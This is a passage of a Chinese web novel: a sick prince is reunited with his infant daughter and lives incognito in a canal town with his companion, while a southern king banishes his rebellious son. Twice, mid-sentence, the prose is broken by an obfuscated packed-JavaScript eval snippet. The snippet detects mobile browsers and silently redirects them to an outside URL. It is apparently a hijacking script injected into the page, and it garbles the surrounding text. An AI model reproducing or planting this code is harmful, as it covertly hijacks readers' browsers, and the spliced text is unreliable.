萧玠不肯见人,也不愿吃药,昏昏沉沉躺了几日,竟是被哭声吵醒。 是小孩的哭声。 他愣了愣,才又听见殿外隆隆之声,似乎打了雷,在下雨。 春雨寒冷,什么人这时候往他这里来? 他坐了一会,突然挥开帐子,赤脚站起来。殿里太暗,窗外却投进一股白森森的冷光,是不是月亮? 月亮来了——阿皎?是阿皎。 萧玠没有披衣,循着那小儿哭声走去。雨声轰然中,那哭声有如游丝,随时将断,又将他手脚牵动,像操纵偶人一样诱使萧玠越走越近。 终于,他在东宫偏殿,找到了那源头。 一件打湿的蓑衣落在一只军靴边上,郑绥坐在个绣墩子上,手中抱一个女婴轻轻拍打。 萧玠挪动脚步,从他腿边半跪下,仔细看那女孩的脸。 郑绥犹哄道:“你看这是谁,你还认识吗?是家里那幅画,对不对?” 萧玠听不见他说什么,痴痴探出手,想摸那女孩的脸。还没触到,就被那只小手握住手指。 女婴哭了一阵,睁大眼睛,也在看他,似乎在辨认这个挂在家中的画中人。郑绥轻声问:“该叫他什么,我们该叫他什么?” 女婴握着萧玠一根手指,突然叫:“耶。” 萧玠浑身过电般颤抖一下。 他看到女孩脖颈上悬挂一缕红绳。萧玠将丝绳从她衣中取出,见下方悬挂一块琢磨成太阳光轮的玉佩,是上好的芙蓉余料。 他抬头看郑绥,郑绥正注视他,目光温和,轻声道:“殿下,认这个闺女吗?” 萧玠尝试动了动嗓子,从喉中挤出一句:“太阳。” 他一叫,旭章显然认得他,竟不哭也不躲,也张着小手要抱。她小小软软的身子一搂上来,萧玠整个人坐到地上,脸埋在她那件小衣服上,极压抑地抽泣起来。 他一哭,旭章也跟着哭,郑绥便将她搂到怀里,三个人从地上抱作一团。门前雨帘悬挂,光辉自外向内洒落,不是月亮,是雨天的阳光。 郑绥抱住他,缓慢地按揉他后心。萧玠伏在他手臂上,终于放声哭出来。 103.第 103 章 天蒙蒙亮,秦灼踏入光明神祠,先看到一篮纸花。 花朵饱满硕大,因竹篮倾斜,一些已经飘落在地。 南秦祭奠逝者有放河灯和纸花的习俗,而上一个待在这里的,是因砸毁光明神像引起众怒的秦寄。 秦灼蹲下,将一篮子纸花归置好,看到一只食盒放在一旁。 秦寄幽禁期间,七日不许禁食,第四日便断绝用水。这盒东西是秦灼给他送来的。 秦灼打开,看到一动未动的冷掉的糕点和酥酪,又将盖子合上。 蒲团已经空了,上方,光明神铜像垂目谛视。秦灼和神像对视一会,跪到蒲团上。 跪了一个日夜。 秦寄砸毁光明神像,又宣布叛教闹出这样大的场面,朝野上下都在等候秦灼的决断。 那个北上为萧玠医治的郑永尚之孙郑挽青已经成为秦善乱政后的首位大宗伯,管理南秦光明宗事务,因其代表神王,在南秦几乎与人君有着并驾齐驱的尊重。翌日清晨,他穿戴白色纱衣纱帽,一朵云一样飘入神祠。 秦灼仍在跪经,并不回头,道:“大宗伯来了。” 郑挽青道:“大王腿有旧疾,还是不要久跪为好。” 秦灼道:“就当为这个孽子赎罪吧。” 郑挽青道:“对少公的罪责,神王已经作出审判。大王行之无益。” 秦灼看向他,“我心里乱得很。能否请你为我起卦?” 郑挽青看一眼雾蒙蒙的天际,道:“无日之晨,问之有差。” “那就用易吧。”秦灼道,“我知道你也精通易经。” 郑挽青叹口气,从他身边跪坐,取出三明光明铜钱,为之抛掷,按照周易之数,记录卦象。 秦灼看了看他的结果,说:“多谢。” 郑挽青没有久留,见秦灼心志坚决,又云一样飘出门槛。 他离开后,神祠安静了好一段时间。秦灼盯着那卦象看了许久,又看向香案陈放的一只匕首和一只金碗。碗内金黄鲜洁,一点也看不出曾被秦灼用来割血祭祀。 秦灼到底没有取用。 这次他没有诵经祝祷,只是静跪,似乎神祠只是一个驱逐杂音的僻静之所。但不一会,一段大步流星的脚步声就径直闯向他。 一听就知道是谁。 陈子元一见他,忙去看刀碗,见没有动用才松口气,跪在他身边道:“大王,现在什么时候,你还在这里躲清闲,真出家呢?阿寄的事情总要有个定夺,你总不能再也不上朝了吧?” 秦灼问:“朝上怎么说?” 陈子元道:“还能怎么说?无非是阿寄不堪担当大任,撺掇你废他。金河边已经起了集会,他姑已经带着虎贲去控制场面,你再不出面,要出大乱子了!” 秦灼问:“你觉得我该怎么做?” 陈子元道:“现在要紧的是先把群情安抚下去,你多少带阿寄露一面,高举轻放做个样子,他们也不好相逼太过。” 秦灼看他,“你为什么觉得秦寄躲在我这里?” 陈子元愣了,站起身大步把神祠找了一圈,“他不在?” 秦灼冷笑:“金河边的场面你以为是做戏?人家宣布叛教,当场就跑了!” 陈子元瞠目结舌,“跑了,跑哪去了?” “你问我,我还想问你呢!”秦灼道,“那天我不在,你们可是都在场,这么多人,就拦不住他一个?” 陈子元一拍大腿,“你没见那场面,都少人都给慑住了,由着他哨马走了。我只当他散散心,哪知道他就这么跑了!” 秦灼面色恢复平静,重新跪回蒲团,道:“他不在,也未必不是好事。” 他对陈子元道:“我请大宗伯帮我起了一卦。” 陈子元这才看到画在地上的卦象,认了半天依稀看出点东西,问:“是困卦?” 秦灼颔首,“亨,贞,大人吉,无咎。有言不信。” “有言不信,谁说什么也别听。”陈子元皱眉,“卦辞倒应景,但困卦可不算什么好卦象。泽水困则君子遇险,哥,你想怎么办?” 秦灼道:“那你觉得,我今日之险是天灾,还是人祸?” 陈子元心中一跳,秦灼已经站起身,把那用炭灰所书的爻卦拿脚踢散了。 “有人想要我儿子的命。”秦灼道,“有人想借神明的口,要他死。” 陈子元已有政治性的揣测,更为不安,“可阿寄这么小的孩子,哪怕行事乖张些,何至于结下此等仇怨?” “未必仇怨,或是得利。”秦灼道,“我废掉阿寄,谁最受益?” 陈子元浑身鲜血一泵。 秦寄若废,南秦宗室的适龄子弟,最尊贵者独幼年封侯的丹灵侯秦华阳! 他忙跪下叫道:“大王,臣等万死不敢动此念头!” 秦灼看他一会,盈盈笑了:“我并不是指华阳,你怕什么?你怕我和温吉会重蹈我父与秦善的覆辙么?” 他像有点好奇,“但如果真有那天,子元,你会怎么选?” 陈子元叫道:“大王!” 秦灼问:“你也害怕那一天,是吗?” 陈子元一个头叩在地上。 秦灼有些伤怀,也有些动容,将他搀扶起来,拍拍他后脑,叹息道:“这么多年,一直在我身边的竟只有你一个。别说不到此等地步,就算到了……我也会留着你镇国将军这颗脑袋。” 秦灼见他的样子,笑起来:“孩子们都多大了,怎么还说哭就哭,成什么样子?你想想,阿寄现在真的没有结下什么仇怨——或者,我们这些做家长的,没有触犯什么人的利益吗?” 陈子元眉头紧蹙,突然想起这桩乱局中最大的疑窦——秦寄为什么要砸毁光明神像? 当时做出询问的是大宗伯郑挽青,秦寄闭口不言。 他为什么不解释? 秦灼的声音响起:“我当时只以为他是倔脾气上来,恨不得打断他的腿,现在想想,他未必对一些事情全然无知。” 他握紧陈子元的手,似乎要给自己找一些支撑,说:“阿寄砸像这件事,我交给你去查。子元,这是我儿子的半条命。” 陈子元道:“臣必不辱命。”又问:“那朝臣那边……” “拟旨。”秦灼道,“少公秦寄悖逆狂乱,罪不能容,然神王已判,不当复加重罚。特逐秦寄出南秦境,无令不得返。” 陈子元哑然。他知道这是秦灼对秦寄的保护,离开权力中心,秦寄至少性命无虞。 但秦寄对奉皇七年后的秦灼意味什么,只有他们这些知情人才看得清。 “别这么看着我,”秦灼道,“只是撵出去他一时,不是撵出去他一世。” 陈子元道:“内情如何不论,阿寄背弃光明一事是板上钉钉。叛教之人,如何得还王廷?” 秦灼抬头,与那座高大庄严的神像对视,缓慢转动拇指扳指。 “儿子能不能回来,就看咱们做老子的中不中用了。” *** 是日,秦灼宣布驱逐秦寄的诏令,众怒方息。下朝后,他又一个人去白虎台,收拾秦寄没有整理的东西。陈子元仍陪在一旁,等他拾掇完,接他回秦温吉如今居住的宫室一起用饭。 秦灼从秦寄书房里逗留了很久,还没把兵器给他归置完,便听宫人在外叩门。 看来是急事。 果然,宫人双手将一只信筒捧至秦灼面前,垂首道:“大王,大梁东宫的信。” 等人掩门退下,秦灼方抽出信纸。陈子元问:“是太子?” 秦灼道:“他爹。” 陈子元大惊:“不是东宫的信吗?” 秦灼道:“我儿子写这手破字儿?” 陈子元一愣,想起秦灼和萧玠现在是走飞鸽的路子。看来和萧恒是借儿子的名义掩人耳目,暗度了这个陈仓。 陈子元边想,边往信纸上扫了一眼,就见起首写道:暌违日久,拳念殊殷。 陈子元道:“怎么这么酸呢?” 秦灼道:“他就会这一句。” 不知怎么,陈子元突然想起多年前两人分隔两地的家书,牙酸之际,多少还有些心酸,试探道:“你俩这么鸿雁传书的,不见一面?” 秦灼看完信,把信纸折好揣进怀里,道:“不见。” 陈子元叫:“哥。” 秦灼看他,“想想老师和鉴明,想想你老婆和萧重光做的生意。” 陈子元半天说不出话,叹口气,只问:“他说什么?” 秦灼道:“阿玠叫郑绥陪着出宫了,叫我收不着回信别急。阿玠的情况,他每个月给我写信。” 说起萧玠,陈子元也是窝心,按住秦灼肩膀,道:“成,这几年孩子遭了多少事……散散心也好。” *** 太子避去行宫养病的消息随御沟漂流而出,从而遍布大小江河。坝口码头听得着,藕花深处也不例外,更别说永安运河这最为民熙物阜的所在。譬如家居河畔的吴州姑娘清清,这些日 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清清也生了兴趣,问:“太子究竟生个什么样?真的凶神恶煞,脸面生生青的吗?” 小盈道:“脸面白,白得跟搽粉似的,我表哥说太子慈眉善目,和个菩萨似的。” 阿鹃道:“远远瞧着——你家菩萨这样杀人?” 小盈也不让,“太子咱们没见过,但爹娘总见过六哥吧。我娘舅住在潮州,当年没少受了六哥接见。都说六哥年轻时是万里挑一的俊俏,生得出青面獠牙的儿子?” 阿鹃撇嘴,“俊俏爹,万一配了丑婆娘呢?” 眼看她俩要吵嘴,清清忙哄道:“姐姐们,好姐姐,眼见太阳要落了,我还赶着回去吃馄饨呢。” 阿鹃本意也不是想吵,见小盈不讲话,便别别扭扭道:“哎。” 小盈睇她,“什么?” 阿鹃道:“何苦为了挨不着的吵嘴?你说俊俏,我还真见着个俊俏郎君。” 小盈掰下菱角掷在船头,“咱们这地多出美人儿,我打生下来就没见着过出挑男孩儿。” 清清立即知道阿鹃讲谁,这也是她们这些日另一桩话头,忙道:“是真的,就在我家斜对过,那间空屋你知道,就是赁给的他们。” “他们?” “是,住了一对兄弟。”阿鹃笑道,“前几天刚到,那弟弟提了果子来走邻里。天爷,我从没见过这么齐整的郎君,跟书里说的那些王孙公子似的,客客气气,又讲礼。现在什么活都做,上午去卖货,下午帮忙去田里插秧收些辛苦钱。他有时候也跑些外州的买卖,但是个顾家的人,顶多出去五六日。为此拜托我们,他不在家时叫邻里多多照顾呢。” 小盈问:“那哥哥呢?” 阿鹃道:“哥哥文文气气的,只是瞧着身子不好。” 清清想起来,“是,我常见郑郎去药铺抓药。” 阿鹃笑道:“身子虽不好,字儿却写得好,弟弟白日去做工,哥哥便从屋前支摊子帮人写字,书信也写、对联也写,一封信两个铜钱。西街黄记油坊的黄梅,把七大姑八大姨的信写了一遍,实在没什么写的了,就要人家给她抄书。” 小盈好奇:“抄什么书?” 阿鹃抿嘴笑道:“《西厢记》!人家那郎君脸皮一下子红透,说什么也不做这笔生意。黄梅你还不知道?从小掐尖儿要强,钓的鱼不能脱钩,看上的人又岂容脱手?砸了两贯钱硬要人家写,说整篇长,那就单写第四本头一折。” 清清问:“讲什么?” 小盈啐一口,忙捂她耳朵。清清非要听,边挣边喊,“船歪了,船歪了”。 阿鹃倚着菱角笑:“清清也要到年纪,听一耳朵怎么了?就是‘将这钮扣儿松,把缕带儿解——’” 女孩子们又羞又嚷,从几条船头笑闹成一团。一会天黑,便收了菱角打道回府。 清清买完馄饨,和几个姊妹一同回来,远远便见街对面摊子仍未收,一盏灯笼吊着,在夜风中轻轻摇动。那郎君坐在里面,穿件素白袍子,脸上有些作难,正同人解释什么。 阿鹃看向小盈,“信了吧。” 小盈点点头,“好一个月亮似的人。” 她又皱眉,“前头穿撒花褂子的不是黄梅么?天都黑了,还要人家写呢?” 小盈还没开口,那郎君摊子后的木门就开了,跑出个扎两揪,拿竹马的小女孩。她把那郎君腿一抱,仰起脸脆生生叫道: “阿耶,娘叫吃饭。” 104.第 104 章 萧玠收了摊子牵着旭章回来,一进屋门,便闻见饭菜香气,奇道:“还真吃饭。” 桌上菜色不少,一碟凉拌马兰头,一盆菱角香菇馎饦,一碟马蹄糕,小半只烧鸡,另有一只竹篮,篮里又是半满的水红菱。 郑绥已将碗箸备好,两袖还挽着,正给他添汤,道:“看看什么天了,吃饭还能作假?” 他张手要接旭章过去,萧玠忙道:“你累了一天,你先吃,我抱她。” 郑绥到底力气要大,更别说女孩已经搂住他脖子,已经将旭章抱到怀里,让她坐在腿上用左臂圈着,笑道:“让什么,吃罢。” 他边说,边拿了篮里菱角剥。萧玠道:“馎饦里煮菱角,还再剥生的。” 郑绥前一段剥菱还得动剪子,如今空手已经剥得飞快。他把白胖菱肉放进碟里,递萧玠跟前,道:“那是沙角菱,煮来糯。你前两天不是想吃脆生的么?这水红菱生吃甜。但这东西性寒,你略吃两个就罢了。” 萧玠拿过菱角咬,脆生清甜的。面前馎饦热香滚滚,很像家里味道。吴州以鱼米为盛,少用面食,也不知道郑绥从哪里学来这一手,自己给萧玠做。 萧玠嚼了会,问:“你和太阳说,谁叫我吃饭?” 郑绥道:“不说这话,且在外面纠缠呢。” 萧玠问:“那人家以后问起来,怎么说?” 郑绥想了想,“就说他娘主意大,出外地跑生意,经年累月不在家,只偶尔回一趟。” 萧玠不多说什么,慢吞吞吃完那只菱角,便喝汤。 萧玠不想叫人盯着,引得一群人前呼后拥,疲于应付,大伙只见他的架子畏他敬他,说的全是面子话。郑绥便一路陪着,一个托名阮明长,一个托名郑宁之。两人不想显得太招摇,也没装作什么富贵人家,走到哪里去哪里做点闲工。萧玠晓得他的意思,他是趁做活采风去。 郑绥虽主要在镇上做活,但也时常外赶,萧玠猜测,他在临近的州市仍有要务。但若猜测成真,那便事关朝政甚至军政,他不讲,萧玠也不问。 一开始萧玠懒怠,自己关在屋里,能恹恹地坐一天。一日郑绥回来,见灶上的米汤将近熬干,旭章抱着布偶老虎向里睡着,萧玠坐在床边,手里拿一把剪子,两眼无神得看窗外,不知想什么。 这情形吓了郑绥一身冷汗,问他做什么,萧玠才木然转过头,说旭章袖子磨破了,想给她补衣裳,结果线一滚乱成一团,实在没法子,只能剪了。 郑绥这才看见他膝头搁的一件碧青小褂,还有手边那只放针线的笸箩,略松口气,忙上前拿剪子,道:“这些事我来。” 他将针线端走,又去撤早上那只岌岌可危的小锅。背身收拾柴火时听萧玠道:“本想叫你回来吃上口热乎饭。” 郑绥道:“我来就好,我爱这个。” 萧玠问:“那我干什么?” 郑绥突然意识到出来的目的,他是想让萧玠散心,而不是把他当作病人或一个随时自残的疯子,这么精神紧绷的对待。 当晚,郑绥就着油灯,补好旭章那件小褂,转头见萧玠倚在床上,轻轻拍打女孩入睡。他看了一会,叫:“殿下。” 萧玠抬头,怕吵着旭章,小声道:“不是说不这么叫吗。” 郑绥笑了笑:“好,郎君想做个营生么?” 这就是郑绥想的法子,得让萧玠和人打交道,同时,还能帮人做点什么事。 从交流中知道真实的人的价值,并逐渐找到自己的价值。 所以他支了摊子,帮人写字,更多的时候,是替人代笔写信。 有食铺娘子写给丈夫,说茶叶生意不好做就回来;有西街老汉写给独女,讲听你表姐说又害心痛病,只瞒我,带孩子家来,要么我去接你;有孙阿婆放在棉衣里、送给戍疆儿子的信,问有无战事、有无受伤,我夜里听见刮北风,你们那边冷了吗? 石壕村头离别苦,长生殿上总不如。民生哀与乐,字字尽付书。 小半个月下来,郑绥发现萧玠眼睛活了,脸上也再现了笑影。一日吃饭,和他开了几句儿时玩笑,郑绥一下子愣住了,却不敢看他,怕一看就掉下眼泪来,忙低头吃饭。 熟络一些,大伙也问起萧玠身体,还有开过药馆的阿叔来,聊着聊着就夺过他手腕号脉,号了半天也没号出个所以然。萧玠便笑,说胎里病,不好治。阿叔便愁道,你兄弟给你抓的药我见过,可都是贵重药,不是咱说倒气话,这么吃下去你们这点门面,还带着个孩子,够撑什么? 说起孩子,旭章自幼明敏,格外招女孩儿喜欢,也是因此叫姑娘们生了疑心。 这几日写信的少,找他抄书的却格外多。但所幸只抄一篇两篇,也是《三字经》之类,写得倒也便宜。一大清早,阿鹃清清几个姊妹还没去塘里,便跑来请他抄书。 旭章还瞌睡,但只萧玠一个人在家,也不放心留她自己在屋里,便将自己一件袍子给她裹好,又戴上帽子,叫她靠自己膝头继续睡。听完女孩们的要求,他有些讶然:“也抄《三字经》?” 阿鹃竖起手指,“我要三篇。” 小盈笑道:“你家怪积极的。” 萧玠怕吵着旭章,压低声音,笑问:“怎么不去书局买一本,这样一篇篇的抄要多费不少钱。” 小盈抿嘴笑:“阮郎贴心,头一次见挣钱的心疼花钱的。咱们整个芙蕖镇就那么一家书局,早卖空了。” 旭章哼唧几声,萧玠左手轻轻拍她,右手舔墨抄书,道:“这倒奇了,都说洛阳纸贵,却少有《三字经》这么贵重。” 清清笑道:“看来阮郎还不知道。六哥开年就叫各镇设学塾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16666945|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,还不是给孩子设的,咱们老老小小男男女女的都得去,先去认字,当年的字认全了,粮食都能少交。说这么认三年,有朝廷的大官下来检查,检查合格了,还有赏钱呢!这不,开头先教《三字经》,我们几家听说的晚,书早买不着了。” 阿鹃道:“咱们天天田里塘里的交道,六哥非让认什么字儿呢?” 小盈笑:“你管呢,反正少交粮食。再说,白教你认字儿不好?我爹说他小时候伺候原来的公子认字儿,眼馋得不得了。可别得了便宜还卖乖了,要我说,六哥才是——哎,阮郎,你这墨滴了!” 萧玠一愣,不慎叫墨迹污了纸面,忙掀过这一张。这么一动作,旭章也醒了,迷迷糊糊跟着叫:“六哥。” 萧玠道:“你别跟着叫。” 清清笑道:“阮郎也忒谨慎,六哥乐得咱们这么叫呢。” 萧玠笑道:“我晓得,但陛下到底能做我爹的年纪,她这么叫不大尊重。” 清清故意道:“那我们比你还小些,照样叫六哥,阮郎这么一来,显得我们多没有长少尊卑。” 萧玠一着急,脸就要红,“我绝没有这么个意思。” 旭章醒过神,听他们六哥来六哥去,又跟着“六哥”起来。萧玠叮嘱她:“囡囡,你叫阿翁。” 旭章皱起小脸,道:“有阿翁。” 萧玠晓得她指郑素,但外人在,总不能细细掰扯。正想如何糊弄过去,便听阿鹃问:“旭章是阮郎的女儿?” 萧玠笑道:“这么多日,娘子们怎么还问这话?” 阿鹃道:“可旭章也成日叫郑郎爹呀。” 其实街坊多少觉得他里古怪,但不好胡乱打听,这几个姑娘倒把疑惑点出来:“你们两个兄弟,若叫他爹就该喊你伯父,若叫你爹就该喊他小叔,哪有一下子喊两个爹的?” 小盈拽拽她袖子,笑道:“别听她胡说,咱们写字儿,写字儿。” 等拿了写好的《三字经》走了,阿鹃怪道:“你拦我做什么,你不觉得怪?而且兄弟两个一个姓阮一个姓郑,还没见过孩子娘亲。” 小盈皱眉,“那更不能当面讲,他心底有了防备,你还能瞧出什么来?” 清清啊呀一声,忙捂住口,看看四下无人注意,方压低声音道:“旭章不会叫他们拐来的吧?我爹说前两年多的是拐好人家的姑娘,是叫六哥和太子狠狠整治了才算完,这才消停了多久……” 阿鹃急道:“怪不得提起六哥他那么大反应呢!看着兄弟两个斯斯文文,怎么真干这些丧尽天良的勾当!” 她说着要走,被小盈一把拉住,“你干什么去?” “干什么,报官呀!” “你傻呀,打草惊蛇,咱们又没凭据!”小盈拉过她耳语几句,阿鹃点头,“成,你盯着他,我去喊人!” 105.第 105 章 新的学塾开起来,街上的人也少了,郑绥今早的货没卖完,驱驴车回家。刚拐过街角,远远就望见一群人围得门前水泄不通。 他心中一紧,丢下车拔腿就跑过去,挤进人群,见摊前坐了几个阿公,将萧玠团团围住。萧玠抱着旭章坐在椅里,身体往后缩,看上去有些手足无措。 郑绥挤到他身边将他挡住,笑道:“今儿怎么了,家门口这么热闹。大伙都来抄《三字经》?” 萧玠看上去像个软柿子,也绝不会同老百姓动脾气,嗓门也低,但郑绥到底是行伍中人,气势摆在那里。孙阿婆见大伙一静,忙笑道:“这不想起你们两兄弟搬来多日,还没一块来串个门。” 郑绥笑道:“串门哪有堵门口的,大家进屋喝茶。” 他低头,见旭章仍带着虎头帽,小身子趴在萧玠胸口上,不哭不闹,居然在一片乱哄哄里睡着了。郑绥伸臂,萧玠摇摇头,眼神示意一动怕要把女儿吵醒。郑绥便伸手托在他臂后。 阿鹃爹便问:“女娃多大岁数?” 郑绥道:“眼望着快三岁。” 阿鹃爹道:“你们两个倒年轻哟。” 郑绥笑道:“咱们镇上多少十三四岁就拉扯孩子的,我们还年轻呢。” 孙阿婆性急,赶紧插话:“你两个是亲兄弟?” 郑绥反问:“您瞧呢?” 孙阿婆皱眉,“我瞧着,脸面不像。听名字又不是本家。” “的确不是。”郑绥看一眼萧玠,“我们两家是邻居,自幼相识,情同骨肉。” 孙阿婆问:“早前却没讲呀?” 郑绥仍和煦笑道:“我虽卖货,也不用把家私摆出来卖吧。” 阿鹃爹杵了杵她胳膊肘,又问:“旭章是你们哪个生的?” 郑绥道:“孩子娘也是邻家的妹妹,成算大,去潮州做买卖了。我俩左右无事,一块带着闺女。您几位瞧,我俩像亏待闺女的样子吗?” 他这番话避重就轻,全没说旭章生父是谁。孙阿婆还要追问,阿鹃爹已笑道:“刚刚一句话说的对,你们两个这年纪也到了,家里有媳妇吗?咱们吴州可多的是出挑姑娘,两位郎君有心意,我们帮着问问媒人。” 这会,反倒是避在他身后的萧玠道:“我们不说亲。” 郑绥心中一跳,怕男女亲事刺到萧玠,抬头瞧了眼日头,更是蹙眉,偏头问萧玠:“中午药吃了吗?” 萧玠苦笑道:“我哪里来得及?” 他们正同大伙言语来去,突然两个人咬起耳朵来。众人便见这位郑郎敛了神色,说不上动怒,但绝不是好心情。那位阮郎抱着孩子不便动作,郑郎便半蹲下解他腰间荷包,从里头倒出一丸药,喂到阮郎嘴里,又拧下自己腰间水囊叫他合水吞下。 干完这些,旭章也醒了,对上他眼睛,咯咯笑着喊:“爹!” 郑绥便将她抱过来,问:“这么能睡,阿耶抱你一上午了。饿吗?” 旭章点头,郑绥便道:“你谢谢翁翁婆婆,咱们家去吃饭。” 旭章便糯声糯气地道谢。这孩子极讨人喜欢,本就算不上剑拔弩张的气氛一下子活络起来。孙阿婆似乎还要问,被阿鹃爹挡回去。他态度一下子大相径庭,“唷,是咱们没看见日头,家去家去,让人家大人孩子的吃饭。阮郎,天黑来找你拿字儿啊。” 人一下子散了,孙阿婆犹不解,叫阿鹃扶着问她爹:“我说三水啊,叫来问的是你,要散的也是你。我正要问这姑娘她爹,万一是个拐带来的,可真是丧天良了!” 阿鹃爹道:“你还没看出人家是什么兄弟?” 孙阿婆道:“什么兄弟,假兄弟!” 阿鹃爹摇头,低声道:“我看八成是契兄弟。” 孙阿婆嘴巴张圆,阿鹃也有些不自在,阿鹃爹道:“你瞧瞧那情态,谁家朋友兄弟体贴成这样。这郑郎早晨卖货下午进田,中午晚上还得跑回来做饭。再说,现在拐带孩子都是拿来卖钱,哪有自己养的?孩子若是他们买来的——两个人都得出力贴补家用,日子这么紧巴,还淘个孩子?” 她们一下子没回神,一旁跟着的清清却不晓得,大声问:“三水叔,什么叫契兄弟?” 阿鹃忙捂她的嘴,小声道:“别嚷嚷,就是指……哎呀,这怎么和你说!” 她半天没讲出个所以然,清清便道:“那我下午去问阮郎。” 孙阿婆瞪眼,阿鹃忙将她拉到一旁,跺脚道:“我的小祖宗你可别喊了,契兄弟就是……就是两个男人,做夫妻!” *** 郑绥抱着旭章进院,还没到屋门,鼻子一动,问:“什么味儿?” 萧玠一下子变色,“我的锅!” 他忙跑进屋去,见锅中米粥已经干成锅巴,刚要找布包住锅边挪开,一双手已经伸过来,直接将沙锅端开了。 萧玠忙问:“这锅烫,你干用手呢!” 郑绥笑道:“不妨事,你把驴车驱回来。回来我就收拾好了。” 郑绥向来一言九鼎。 萧玠将车驱回来时,郑绥已经摆好饭菜,拿过旭章爱用的那只甘荀样的小碗——还是之前路过昌南镇时给她烧的——边对萧玠道:“中午饭我做就好,我赶得回来。” 萧玠道:“早晨饭你买,中午晚上都是你做,我做什么?” 郑绥笑道:“你带孩子呀,比我这做饭的累多了。” 萧玠给旭章戴好围兜,将女儿抱上凳子,道:“你还下地干活呢,怎么不说?” 他见郑绥连那本该是汤粥的锅巴也端了出来,不大好意思。郑绥便笑:“粒粒皆辛苦,叫殿下洗手作羹汤,殿下辛苦了。” 旭章便学:“殿下。” 萧玠忙说郑绥:“她现在正学话呢。” 郑绥笑了笑,对女儿说:“是阿耶。看看阿耶,边带着旭章边写着字儿边受人盘问,还做了这么一桌子菜,是不是很厉害?咱们看看——有菱角,有鸡肉,哦,还有蟹粉小方糕。这是什么呀,是旭章爱吃的甘荀对不对,甘荀鸡蛋。” 他夸得太真挚,越夸萧玠越害臊,道:“菱角是你摘的,鸡是昨晚剩的半只,那蟹粉糕更是出门买的。甘荀鸡蛋底下糊了,更别说汤,锅都叫我烧干了。” 郑绥道:“君子远庖厨嘛。” 萧玠道:“你就不是君子了?” 他不知说到哪一处,眼圈一下子红了。郑绥忙道:“这是怎么了?” 萧玠摇摇头,叹道:“我就是觉得,从小到大,都是我拖累你。你是将门出身,一片大好前途,因为我在柳州出的事,叫人家弹劾得闭门。郑家也是世族高门,更别说杨夫人是皇后亲姐,如今因为我,多少人恨你骂你?现在论功行赏,你放着高官厚禄拿不了,陪我出来做这些消遣。叫你一个将军、一个这样得青眼的中郎将,天天卖货种地、烧火做饭。我这心里,不是个滋味。” 郑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668021|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绥没有打断他,声音依旧温和:“我不只是为了陪你,我也累了。” 他说着,给旭章挟过鸡蛋,用勺子切得细细碎碎,“等咱们再回去,又是多少明枪暗箭。现在这么周游着,虽没怎么游山玩水,但心里清静,各处都是盼头。我现在一想,我白天就只用去卖货种地,中间和街坊说说笑笑,一回家,就能见着旭章……我心里就跟喝了蜜一样。” 他“旭章”之后讲得模糊了一下,萧玠听得朦胧,抬头时正对上郑绥眼睛。 郑绥道:“明长,你带我来这世外桃源,我要谢你的。” 萧玠心中突地一跳。 郑绥从未这样唤过他,他比自己年纪要小,但如今身量个头已经跟二十岁的大小伙子无异。而且时时刻刻,竟是郑绥更像兄长。 这一愣神,郑绥已笑起来,从腰中解下荷包递过去,道:“自然,桃花源也是要有柴米油盐的。这是今天上午的家用,下午那卖桂花糕的再来,别再紧那一个两个铜钿。知道你想学陛下,靠自己一双手不想仪仗家里,但不能苦着孩子吧。硬吃苦,那叫坏了脑子。” 萧玠笑了笑,眼底都带着笑意,说:“谨遵钧令。” *** 吃过饭,萧玠去收拾碗筷,郑绥给他煎上药,守着炉子去院中洗衣服。 一开始一家的衣服都是他包办,别说外袍袜子,连亵衣裤都不例外。这么洗了一两天,萧玠便佯作镇定、实则红着脸地同他讲,你又不是我的奴婢,就算在宫里,贴身的衣裳也是我自己洗。郑绥便没有同他争,各洗各的衣服,旭章的谁顺手谁洗。后来时间长了,便心领神会,谁洗衣服,便顺手把对方不贴身的衣裳洗了,不那么你的我的泾渭分明了。 他拿皂角搓完旭章一件藕荷色袄裙,换了水,洗萧玠的外袍。萧玠从前还穿些正红,这些年基本着素,衬得病容更甚。旭章坐在小凳上,玩郑绥做给她的竹蜻蜓,打了个嗝,说:“吃得饱。” 郑绥笑道:“今天中午肉是吃了不少,难受不?” 旭章摇头,又玩蜻蜓,道:“阿耶不吃肉肉。” 郑绥笑了笑:“是,阿耶不吃。” 旭章便叫:“肉肉好吃。” 郑绥笑道:“那太阳好好吃,把阿耶的那份吃回来,好不好?” 自从柳州案后,萧玠持斋诵经至今,平日买肉也是给两个吃。郑绥也不劝他,他知道这是萧玠赎罪的一种形式,到底能让他心里解脱些。但如此以来到底消瘦下去,郑绥便变着法给他做糕点素食,好让他多吃几口。 近来萧玠的确瘦得厉害了。 郑绥出了会神,继续埋头搓那袍角沾的一点墨渍,突然听旭章搓蜻蜓的声音一停,接着,女孩欢快兴奋的声音响起来:“小阿花!” 郑绥抬头,见一只花色鸽子停在晾衣的竹竿上,咕咕叫一声催促他。郑绥擦了把手上前,从鸽腿上解下信筒,一打开,赫然是萧恒字迹。 他二人不曾扮些豪门大户,一是为了方便体察世情,二就是怕太过招摇,恐生事端。如此便宜了行走,萧恒却没法知道他两个动向。郑绥便效仿萧玠和秦灼通信,也这样飞鸽传书,最迟三日发信一次,好让萧恒安心。 旭章问:“什么呀?” 